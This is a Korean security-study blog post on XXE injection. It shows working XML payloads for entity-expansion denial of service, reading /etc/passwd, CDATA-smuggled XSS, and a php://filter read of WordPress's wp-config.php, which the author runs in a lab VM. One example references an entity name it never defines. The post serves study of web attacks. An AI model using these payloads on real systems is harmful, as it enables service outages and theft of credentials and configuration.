Jaeseo's Information Security Story

XXE Injection 공격 본문

Security Study/Web hacking

XXE Injection 공격

Jaeseokim 2019. 10. 27. 00:16

XXE Injecthion 공격
XML 문서의 External Entity를 이용하여 공격 하는 기법으로
공격자가 의도하는 외부 URL를 실행 시키는 공격!
2017 OWASP의 위협 4위에 등재된 공격 방법

대표적 공격의 예시

  1. 서비스 거부 공격
    아래와 같은 간단한 코드를 통해 attack! 이라는 문자를 10^9 (10억)만큼 표현 하게 만듬으로 7byte의 문자를 10억으로 약 70GB라는 문서를 처리하게 됩니다.
    <?xml version="1.0"?>
    <!DOCTYPE dosTest [
    <!ENTITY dos "attack!">
    <!ENTITY dos2 "&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;">
    <!ENTITY dos3 "&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;">
    <!ENTITY dos4 "&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;">
    <!ENTITY dos5 "&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;">
    <!ENTITY dos6 "&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;">
    <!ENTITY dos7 "&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;">
    <!ENTITY dos8 "&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;">
    <!ENTITY dos9 "&dos8;&dos8;&dos8;&dos8;&dos8;&dos8;&dos8;&dos8;&dos8;&dos8;">
    ]>
    <dosTest>&dos9;</dosTest>
  2. 서버 내부 파일 접근 공격
    상대주소 또는 절대주소를 통해 파일의 내용을 읽어와 파일의 내용을 보여줄수 있습니다.
    단 Binary는 불러올수 없습니다.
    <?xml version="1.0"?>
    <!DOCTYPE linux-passwd [
     <!ENTITY passwd SYSTEM "file:///etc/passwd">]>
    <linux-passwd>
     <text>&password;</text>;
    </linux-passwd>
  3. XML를 이용한 XSS 공격
    xml의 CDATA를 이용하여 '<', '>' 문자열 우회를 하여 xss 스크립트를 작동하게 합니다.
    <?xml version="1.0" encoding="utf-8"?>
    <doc>
    <text>xss<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></text>
    </doc>

이러한 공격들은 XML의 DTD 문법을 이용하여 작동합니다.
자세한 DTD문법에 관한 정보는 w3schools-xml_dtd를 봐주세요.

이제 이러한 XXE Injecthion기법을 통해 실습을 해보겠습니다.
일단 공격 대상이 되는 서버는 Vm windows7을 통해 Wordpress 서버를 돌린후 XXE에 취약한 플러그 인을 설치하고 실습을 진행 하였습니다.

 

일단 Wordpress의 관리자 페이지로 이동하여서 취약한 XML 플러그인이 설치되었는지 확인을 하고 진행을 합니다.

취약한 XML 플러그인이 설치 되어 있는 것을 확인 하였으니 이제 일단 공격 Payload 코드를 작성합니다.
Wordpress의 설정파일인 wp-config.php 파일을 Base64인코딩후 화면에 그 내용을 출력하도록 하겠습니다.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Payload [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/APM_Setup/htdocs/wordpress/wp-config.php">]>
<doc>
  <text>Content of wp-config : &xxe;</text>
</doc>

이제 이렇게 만든 파일을 BabyWebserver를 서비스 시키겠습니다.


이제 Wordpress에서 정상적으로 공격이 실행되는지 실행해봅니다.


설정에서 xml에 파일을 등록 시켰습니다. 이제 wordpress의 새로운 Post를 작성하면서 xml를 불러와 실행 시켜 봅니다.


이제 작성한 Post의 글을 읽어 보면 아래의 사진과 같이 wp-config.php파일이 base64인코딩 되어 보이는 것을 볼수가 있습니다.


이제 이렇게 얻은 정보를 base64 디코딩을 시켜보겠습니다.

그 결과 wordpress의 주요 설정파일인 wp-config의 파일이 그대로 출력이 되고 있는 것을 확인할 수 있습니다.

 

이번에는 XML를 이용한 XSS를 실습 해보겠습니다.

아래와 같이 iframe 과 alert를 작동시키는 xss를 만들어서 실행해보겠습니다.

<?xml version="1.0" encoding="utf-8"?>
<doc>
  <text>xss<![CDATA[<]]>script<![CDATA[>]]>alert('xss 테스트!!!')<![CDATA[<]]>/script<![CDATA[>]]>
  <![CDATA[<]]>iframe src="https://jaeseokim.tistory.com/"<![CDATA[>]]></text>
</doc>


결과 위와 같이 xss 스크립트가 적용된 것을 확인할 수 있었습니다.

Comments